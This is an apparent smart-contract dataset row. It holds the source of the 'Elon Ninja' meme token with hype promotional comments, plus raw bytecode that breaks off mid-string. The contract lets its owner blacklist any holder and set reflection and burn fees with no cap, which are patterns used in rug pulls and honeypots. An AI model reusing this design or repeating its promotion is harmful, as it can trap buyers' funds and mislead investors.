1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061133a6123f7565b6000831180156113635750600160a060020a0333166000908152600b602052604090205460ff16155b80156113885750600160a060020a0384166000908152600b602052604090205460ff16155b80156113ab5750600160a060020a0333166000908152600c602052604090205442115b80156113ce5750600160a060020a0384166000908152600c602052604090205442115b15156113d957600080fd5b6113e284612009565b156113f9576113f2848483612011565b9150611404565b6113f2848483612274565b5092915050565b600b6020526000908152604090205460ff1681565b6000808311801561144a5750600160a060020a0333166000908152600b602052604090205460ff16155b801561146f5750600160a060020a0384166000908152600b602052604090205460ff16155b80156114925750600160a060020a0333166000908152600c602052604090205442115b80156114b55750600160a060020a0384166000908152600c602052604090205442115b15156114c057600080fd5b6114c984612009565b156114e0576114d9848484612011565b9050610c38565b6114d9848484612274565b60015460009033600160a060020a0390811691161461150957600080fd5b600083511161151757600080fd5b5060005b8251811015610eab5782818151811061153057fe5b90602001906020020151600160a060020a0316151561154e57600080fd5b81600b600085848151811061155f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061159d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161151b565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461161a57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611660575083518551145b80156116855750600160a060020a0333166000908152600b602052604090205460ff16155b80156116a85750600160a060020a0333166000908152600c602052604090205442115b15156116b357600080fd5b5060009050805b84518110156118055760008482815181106116d157fe5b9060200190602002015111801561170557508481815181106116ef57fe5b90602001906020020151600160a060020a031615155b80156117455750600b600086838151811061171c57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561178a5750600c600086838151811061175c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561179557600080fd5b6117bf6305f5e1008583815181106117a957fe5b906020019060200201519063ffffffff611fde16565b8482815181106117cb57fe5b602090810290910101526117fb8482815181106117e457fe5b90602001906020020151839063ffffffff611fcf16565b91506001016116ba565b600160a060020a0333166000908152600960205260409020548290101561182b57600080fd5b5060005b84518110156111885761186184828151811061184757fe5b90602001906020020151600960008885815181106110d257fe5b6009600087848151811061187157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118a157fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528684815181106118d957fe5b9060200190602002015160405190815260200160405180910390a360010161182f565b6001546000908190819033600160a060020a0390811691161461191e57600080fd5b60008551118015611930575083518551145b151561193b57600080fd5b5060009050805b8451811015611ba157600084828151811061195957fe5b9060200190602002015111801561198d575084818151811061197757fe5b90602001906020020151600160a060020a031615155b80156119cd5750600b60008683815181106119a457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a125750600c60008683815181106119e457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a1d57600080fd5b611a316305f5e1008583815181106117a957fe5b848281518110611a3d57fe5b60209081029091010152838181518110611a5357fe5b9060200190602002015160096000878481518110611a6d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a9c57600080fd5b611af5848281518110611aab57fe5b9060200190602002015160096000888581518110611ac557fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fbd16565b60096000878481518110611b0557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b388482815181106117e457fe5b915033600160a060020a0316858281518110611b5057fe5b90602001906020020151600160a060020a031660008051602061240a833981519152868481518110611b7e57fe5b9060200190602002015160405190815260200160405180910390a3600101611942565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fcf16565b60015433600160a060020a03908116911614611be557600080fd5b600160a060020a0381161515611bfa57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c8f5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611cb45750600160a060020a0385166000908152600b602052604090205460ff16155b8015611cd75750600160a060020a0333166000908152600c602052604090205442115b8015611cfa5750600160a060020a0385166000908152600c602052604090205442115b1515611d0557600080fd5b611d0e85612009565b15611fa757600160a060020a03331660009081526009602052604090205484901015611d3957600080fd5b600160a060020a033316600090815260096020526040902054611d62908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611d97908563ffffffff611fcf16565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b60208310611de55780518252601f199092019160209182019101611dc6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e76578082015183820152602001611e5e565b50505050905090810190601f168015611ea35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ec757fe5b826040518082805190602001908083835b60208310611ef75780518252601f199092019160209182019101611ed8565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001611fb5565b611fb2858585612274565b90505b949350505050565b600082821115611fc957fe5b50900390565b600082820183811015610c3857fe5b600080831515611ff15760009150611404565b5082820282848281151561200157fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526009602052604081205481908490101561203957600080fd5b600160a060020a033316600090815260096020526040902054612062908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612097908563ffffffff611fcf16565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612130578082015183820152602001612118565b50505050905090810190601f16801561215d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561217d57600080fd5b6102c65a03f1151561218e57600080fd5b505050826040518082805190602001908083835b602083106121c15780518252601f1990920191602091820191016121a2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600960205260408120548390101561229a57600080fd5b600160a060020a0333166000908152600960205260409020546122c3908463ffffffff611fbd16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546122f8908463ffffffff611fcf16565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b602083106123455780518252601f199092019160209182019101612326565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061240a8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582093cc7d5004c020cba2d72d9650d110036c7c4a55e61bdaf2c606aa15af1075040029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,954 |
0xdd798bf73726b8ac04a154ce85e05879348dd104 | // SPDX-License-Identifier: Unlicensed
/*
There is war and there's ELON!
https://eloninja.io
https://t.me/eloninja
Forget about nuclear bomb, Forget about the US. Elon is the real nuclear deterrent to the world and we know it is working. Elon’s effort on buying twitter is unparalleled and secured the freedom of speech of the internet. He has successfully privatized world peace.
We pay tribute to ELON by combining the heroic ninja figure into him.
With the current escalated situations and tensions worldwide, the world needs a super star to defend the free world. With the Eloninja project, we hope to combine the essence of two world renowned icons, establishing the resurrection token one has ever witnessed in the degen world!
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ELONINJA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon Ninja";
string private constant _symbol = "ELONINJA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x760d7886a875AEc0EdCB58eD140EaFf1cce64f79);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 4e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b80638da5cb5b1461051f5780638f9a55c01461053d57806395d89b41146105535780639e78fb4f1461058457600080fd5b8063790ca413116100dc578063790ca413146104be5780637c519ffb146104d45780637d1db4a5146104e9578063881dce60146104ff57600080fd5b80636fc3eaec1461045457806370a0823114610469578063715018a61461048957806374010ece1461049e57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d45780634bf2c7c9146103f45780635d098b38146104145780636d8aa8f81461043457600080fd5b80632fd689e314610362578063313ce5671461037857806333251a0b1461039457806338eea22d146103b457600080fd5b806318160ddd116101c157806318160ddd146102e457806323b872dd1461030a57806327c8f8351461032a57806328bb665a1461034057600080fd5b806306fdde03146101fe578063095ea7b3146102435780630f3a325f146102735780631694505e146102ac57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600a815269456c6f6e204e696e6a6160b01b60208201525b60405161023a9190611d5f565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611dd9565b61065f565b604051901515815260200161023a565b34801561027f57600080fd5b5061026361028e366004611e05565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b857600080fd5b506016546102cc906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102f057600080fd5b5068056bc75e2d631000005b60405190815260200161023a565b34801561031657600080fd5b50610263610325366004611e22565b610676565b34801561033657600080fd5b506102cc61dead81565b34801561034c57600080fd5b5061036061035b366004611e79565b6106df565b005b34801561036e57600080fd5b506102fc601a5481565b34801561038457600080fd5b506040516009815260200161023a565b3480156103a057600080fd5b506103606103af366004611e05565b61077e565b3480156103c057600080fd5b506103606103cf366004611f3e565b6107ed565b3480156103e057600080fd5b506017546102cc906001600160a01b031681565b34801561040057600080fd5b5061036061040f366004611f60565b610822565b34801561042057600080fd5b5061036061042f366004611e05565b610851565b34801561044057600080fd5b5061036061044f366004611f79565b6108ab565b34801561046057600080fd5b506103606108f3565b34801561047557600080fd5b506102fc610484366004611e05565b61091d565b34801561049557600080fd5b5061036061093f565b3480156104aa57600080fd5b506103606104b9366004611f60565b6109b3565b3480156104ca57600080fd5b506102fc600a5481565b3480156104e057600080fd5b506103606109f1565b3480156104f557600080fd5b506102fc60185481565b34801561050b57600080fd5b5061036061051a366004611f60565b610a4b565b34801561052b57600080fd5b506000546001600160a01b03166102cc565b34801561054957600080fd5b506102fc60195481565b34801561055f57600080fd5b50604080518082019091526008815267454c4f4e494e4a4160c01b602082015261022d565b34801561059057600080fd5b50610360610ac7565b3480156105a557600080fd5b506102636105b4366004611dd9565b610cac565b3480156105c557600080fd5b506103606105d4366004611f3e565b610cb9565b3480156105e557600080fd5b506102fc6105f4366004611f9b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036061063a366004611f60565b610d0a565b34801561064b57600080fd5b5061036061065a366004611e05565b610d48565b600061066c338484610e32565b5060015b92915050565b6000610683848484610f56565b6106d584336106d085604051806060016040528060288152602001612176602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611602565b610e32565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611fd4565b60405180910390fd5b60005b815181101561077a5760016009600084848151811061073657610736612009565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077281612035565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611fd4565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611fd4565b600b91909155600d55565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161070990611fd4565b601155565b6015546001600160a01b0316336001600160a01b03161461087157600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161070990611fd4565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461091357600080fd5b476107ea8161163c565b6001600160a01b03811660009081526002602052604081205461067090611676565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161070990611fd4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109dd5760405162461bcd60e51b815260040161070990611fd4565b6018548110156109ec57600080fd5b601855565b6000546001600160a01b03163314610a1b5760405162461bcd60e51b815260040161070990611fd4565b601754600160a01b900460ff1615610a3257600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a6b57600080fd5b610a743061091d565b8111158015610a835750600081115b610abe5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea816116fa565b6000546001600160a01b03163314610af15760405162461bcd60e51b815260040161070990611fd4565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b5157600080fd5b505afa158015610b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b899190612050565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bd157600080fd5b505afa158015610be5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c099190612050565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c5157600080fd5b505af1158015610c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c899190612050565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061066c338484610f56565b6000546001600160a01b03163314610ce35760405162461bcd60e51b815260040161070990611fd4565b600d821115610cf157600080fd5b600d811115610cff57600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d345760405162461bcd60e51b815260040161070990611fd4565b601954811015610d4357600080fd5b601955565b6000546001600160a01b03163314610d725760405162461bcd60e51b815260040161070990611fd4565b6001600160a01b038116610dd75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610ef55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b03821661101c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b6000811161107e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff16156110b75760405162461bcd60e51b81526004016107099061206d565b6001600160a01b03831660009081526009602052604090205460ff16156110f05760405162461bcd60e51b81526004016107099061206d565b3360009081526009602052604090205460ff16156111205760405162461bcd60e51b81526004016107099061206d565b6000546001600160a01b0384811691161480159061114c57506000546001600160a01b03838116911614155b156114ac57601754600160a01b900460ff166111aa5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b0383811691161480156111d557506016546001600160a01b03848116911614155b15611287576001600160a01b03821630148015906111fc57506001600160a01b0383163014155b801561121657506015546001600160a01b03838116911614155b801561123057506015546001600160a01b03848116911614155b15611287576018548111156112875760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e7361637